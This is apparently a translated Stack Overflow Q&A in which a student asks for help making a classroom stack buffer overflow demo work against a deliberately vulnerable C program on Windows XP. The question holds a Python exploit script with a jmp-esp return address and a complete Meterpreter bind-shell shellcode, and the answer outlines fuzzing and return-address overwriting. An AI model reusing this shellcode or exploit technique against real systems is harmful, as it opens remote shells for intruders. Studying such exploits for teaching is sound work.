c - 示例 C 程序上的缓冲区溢出
问题描述
我可以知道如何在一个示例 c 程序上增加 ESP 的长度,它允许我在堆栈上执行 shellcode。然而,到目前为止,示例 c 程序的 ESP 长度仅为 61,因此对于 shellcode 来说是不够的。任何帮助表示赞赏!这是针对初学者的课堂演示,我也是一名学生,所以我对缓冲区溢出非常陌生。
示例 C 程序
#include <stdio.h>
#include <string.h>
#pragma warning(disable: 4996)
int root(void)
{
printf("\n Root privileges given to the user \n");
return 0;
}
int user(void){
printf("\n Normal user privileges given to the user \n");
return 0;
}
int main(void)
{
char buff[15];
int pass = 0;
int max = 15;
printf("\n Enter the password : \n");
//fgets(buff, max, stdin);
gets(buff);
if (strcmp(buff, "thegeekstuff"))
{
printf("\n Wrong Password \n");
}
else
{
printf("\n Correct Password \n");
pass = 1;
}
if (pass == 1)
{
root();
} else {
user();
}
return 0;
}
用于利用的 Python 代码 (Win86) - bind_tcp_staged_meterpreter [LPORT=4444]
*注意:在绑定 shell 有效载荷之前添加了一条指令(添加 esp,-1500)
#! python
import os
import sys
import subprocess
import binascii
import time
ESP_Address = bytes.fromhex('5954C377')
buf = ""
# Add ESP, -1500
buf += "\x81\xC4\x24\xFA\xFF\xFF"
# Bind Meterpreter Shell
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68"
buf += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
buf += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57"
buf += "\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
buf += "\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00"
buf += "\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36"
buf += "\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4"
buf += "\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3"
bind_staged_shell_payload = bytes(buf, "utf-8")
Dummy_Data = ("A" * 35).encode()
final_payload = Dummy_Data + ESP_Address + bind_staged_shell_payload
p = subprocess.Popen('buffer_overflow.exe', stdin=subprocess.PIPE) #NOTE: no shell=True here
time.sleep(20)
p.stdin.write(final_payload)
p.communicate()[0]
p.stdin.close()
sys.exit(0)
用于在 windows XP SP 1 中编译 c 程序的代码
gcc -Wl,--stack,4194304 -fno-stack-protector -m32 buffer_overflow.c -o buffer_overflow.exe
我尝试过的......非常尴尬,没有成功:
-Wl,--stack,4194304
使用选项编译 C 程序试图通过创建具有巨大缓冲区的虚拟变量来增加堆栈大小(显然,它使 ESP 的长度更短......)
以管理员身份运行 cmd...
关闭防火墙
使用 nc IP_ADDRESS 4444 测试连接,但连接被拒绝(绑定 shell 未从漏洞代码成功生成) - 一旦成功为暂存有效负载建立连接,将使用 Meterpreter 处理程序
笔记
程序不会以 shellcode 作为输入而崩溃……但是,如果插入一个 100 个字符的字符串,程序就会崩溃。
解决方案
您没有描述如何在堆栈上找到返回地址以及为什么添加“add esp”,所以我只会帮助您从头开始获取它,并希望它对您有所帮助。
首先,您应该在调试器中运行程序(我推荐 IDA Pro)并开始对其进行模糊测试,以查看返回地址在堆栈中的存储位置。
之后,尽量不要使用一些 shellcode,并尝试从代码中运行 root 函数,这样如果它可以工作,您将看到输出字符串。缓冲区应如下所示:“A * return_address_offset + root_address” 如果它可以工作,您可以使用简单的 shellcode 而不是 root 函数,方法是将其放在缓冲区上并用 'jmp esp' 覆盖返回地址,这样放置的 shellcode在堆栈上将运行。如果您不跳转到堆栈上的 shellcode,程序会将 shellcode 的前 4 个字节视为地址并尝试去那里,并且很可能该地址将是无效地址,因此程序崩溃。
如果你不明白它是如何工作的,你应该阅读堆栈和调用约定以及程序如何调用和从函数返回。
有一个关于利用的教程它也应该对你有所帮助。
希望我对你有所帮助!
推荐阅读
- authentication - Nuxt 创建共享应用状态的微应用
- sql - 在查询 oracle 中更新列中的第一个字符
- objective-c - 目标 C,将资源文件从主包复制到文档:错误域 = NSCocoaErrorDomain 代码 = 4 文件不存在。”
- python - python opencv检测图像完全是白色的
- python - 获取 NumPy 数组中元素的索引
- docker - 每个客户的 Azure CI 容器
- r - How to split the time from the date and time variable in R?
- javascript - 数组 concat 在每个输入上创建一个对象
- c++ - remove_if 不需要移动和复制语义
- scala - 火花连接 - (边和顶点)